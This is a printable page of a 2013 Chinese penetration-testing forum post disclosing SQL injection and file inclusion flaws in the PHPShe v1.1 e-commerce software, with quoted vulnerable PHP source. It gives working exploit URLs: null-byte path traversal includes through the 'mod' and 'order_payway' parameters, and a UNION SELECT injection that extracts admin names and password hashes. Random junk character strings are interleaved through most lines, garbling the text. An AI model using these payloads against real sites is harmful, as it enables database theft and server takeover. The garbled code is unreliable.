中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]

作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
: f2 n7 ^; @" V/* Phpshe v1.1 Vulnerability
- B$ d( ^% U& z; a/ `9 x" |1 l/* ========================
) N+ ]2 q. D- d. @* v1 f/* By: : Kn1f3
  E' f9 L$ Y: a4 n! t/* E-Mail : 681796@qq.com/ z% b  h- h! ?
/*******************************************************/
+ G! ]- e( z3 W1 L! i0×00 整体大概参数传输5 |+ |5 B- [1 ]7 u+ l& L# u6 g5 Z
6 `1 c- ?2 `! l7 R

& p2 Z4 W: _4 R0 E+ b/ k

* L& T9 s& N0 e; z* V//common.php
& G; u$ X' d1 r8 pif (get_magic_quotes_gpc()) {" Z6 {* F0 ?* G4 F% l- d
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
4 [; q- U7 K: D7 i- d% |!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');% j% l* N% @0 d+ V
}: S6 v& n- w6 h; y. I
else {9 _/ N$ E+ [9 M/ W) b& B) E+ V
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
! P$ {: F3 Z" L5 C6 g% X' ^!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
! J+ _8 X, ?8 k) m}& Y' q% h! \2 X+ t( T! k
session_start();
2 W! f# [( m* q4 w" U$ w1 X: V!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');9 h, \" b+ g7 P4 C
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');+ |: S7 g, c! k9 T. t

7 a  v2 H+ x- x0 z/ b0×01 包含漏洞: r  n/ m- s3 D8 ]8 j
6 W; N+ j3 ^+ }
: B7 g! F7 b, U" h+ K# ]
//首页文件
' A) O- G! K) W+ E: x' o: E! |<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 |) h5 N; ?1 _4 I+ Hinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ L( Q3 i6 _7 m' z1 X  `pe_result();" V+ ]; v& x  `- R7 }* N6 B$ I) n
?>2 w! C. f" D5 |  d9 H7 }
//common 文件 第15行开始
  C6 q  e5 U/ \8 E3 ]url路由配置
' g/ W: T  ^) E5 n$module = $mod = $act = 'index';# ^! X" ?' G7 C- I- \
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);! `8 U4 k' D1 G# @5 |1 p* H: F
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);& V/ N0 F, Z! d5 F: {; s% X! u
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);' b/ B, X7 i8 J
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%008 H  g( y) a# ]1 z* |; f

- Y0 B9 |9 z0 r; j9 ]8 I4 |

3 d) [  k7 N, K; e, f 0×02 搜索注入& b0 L6 q( i2 W+ B3 }% I
9 i" p& h" f: r$ `, `9 \' d
<code id="code2">

//product.php文件
, Y; n5 m( Y8 @7 x& _" mcase 'list':
. V: Q8 s) o, B, W5 S3 z1 v$category_id = intval($id);+ b" @1 P3 R6 C, M! w% z
$info = $db->pe_select('category', array('category_id'=>$category_id));% s; f* t; ^; L- B3 X
//搜索4 W8 T3 y; m( f2 z! P+ K5 l3 J
$sqlwhere = " and `product_state` = 1";9 i; u2 p9 z3 h6 N
pe_lead('hook/category.hook.php');0 q0 ^, l* m  u; |& Z. v- l
if ($category_id) {: [# @4 j" z5 U( l7 ^
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& u% ?# X( Q; n! t( y}7 ]' ?- {) C. R6 e6 M
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤% A" {8 E: P1 r- |$ J: _7 ?
if ($_g_orderby) {) Z8 Z8 M  }; w) p/ a. H+ h
$orderby = explode('_', $_g_orderby);2 f; `9 ]2 \  z# m1 M
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
' ~, L/ o& X3 s! w) q4 O. s& k}" ~  K; Y3 b" w) Q! P! _
else {5 g5 G5 r5 j3 c; k& G) u
$sqlwhere .= " order by `product_id` desc";* v0 R. `  A6 a: e
}# G6 d9 Z) }* n* S* t6 [
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));8 G9 D& b% N7 O" G2 |
//热卖排行3 I1 Q' g3 m4 ?# o/ S
$product_hotlist = product_hotlist();: A1 F! i# z6 f' E- k7 F
//当前路径
  f( D( {" V- |+ h! O/ q3 F$nowpath = category_path($category_id);# j9 P" G8 E+ F% S
$seo = pe_seo($info['category_name']);
5 C" E# X% O# _+ N: O5 {( Winclude(pe_tpl('product_list.html'));" }4 q- W- p4 R
//跟进selectall函数库
; [6 }1 F& O. u/ p$ q# B) p* I6 [public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 U" g+ s+ V4 |( o; e/ o{- U$ O+ t; L# r$ M' t0 C9 t
//处理条件语句
+ I5 I; \& {: S( I5 Y0 L. V8 H$sqlwhere = $this->_dowhere($where);6 E+ F/ O$ c: m) n2 o
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);3 v' o( S9 t3 a! P
}
" @" p' ^/ k' Q. T; g& @//exp
8 D1 U! |* O* yproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='15 ^, h/ u) K( p1 s9 P' i

</code>) l+ E! F5 O7 m

# E; S+ a( Q$ f& W5 X9 _! A# p0×03 包含漏洞25 t8 F# f6 \! `

( ?) _& Q2 f5 h  `) n' [- K<code id="code3">

//order.php

case 'pay':


+ K; }) W0 ]' d/ o( f( q' K$order_id = pe_dbhold($_g_id);

% Y8 I# D6 j3 h
$cache_payway = cache::get('payway');


5 r  Z" ~% I8 l* C8 Jforeach($cache_payway as $k => $v) {


! Q( i- Z4 ^& i4 g; r% O% d$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

& L) h" ^% p7 ?. y
if ($k == 'bank') {


: {8 E: @" d' s2 Y- y$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

8 w2 M% [1 y9 [6 g+ E. A. u
}


8 m4 w2 ?, H1 t5 Q& \$ o* L1 O}


7 W) e9 i. D4 s* ]$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

; {) \2 e) h* i# v% N8 T1 o
!$order['order_id'] && pe_error('订单号错误...');

; A! o" b' u  @3 k1 A; i' X: b4 K- }- j
if (isset($_p_pesubmit)) {

" D( [0 S8 e8 ?
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


; D7 q4 w( }! o+ q  X' B' V$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; c1 T8 N8 [, T" f/ J
foreach ($info_list as $v) {

0 V) H1 o. m- I3 R, D
$order['order_name'] .= "{$v['product_name']};";
& O' k% v& k! K


" g) n+ P5 L5 t4 g& D* a}

1 J) w: s- t' J5 n
echo '正在为您连接支付网站,请稍后...';

# s% C7 M* j5 l4 P4 Q
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

6 Y/ x/ s( @6 ]
}//当一切准备好的时候就可以进行"鸡肋包含了"


6 m2 g; i% f' V! P% L' Ielse {


6 T7 J+ `+ y! l! _pe_error('支付错误...');


1 _0 G. {6 l' X) t}

  x/ z( K/ |4 I# a6 n6 |; O" Y
}


* Z5 H3 r$ u- C+ o2 c/ D$seo = pe_seo('选择支付方式');

& F; B$ L/ ?3 m9 D+ t% _2 I
include(pe_tpl('order_pay.html'));

; M+ N" `# A9 q* T& `6 f3 N, ?
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
  T: s7 y7 |7 f




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2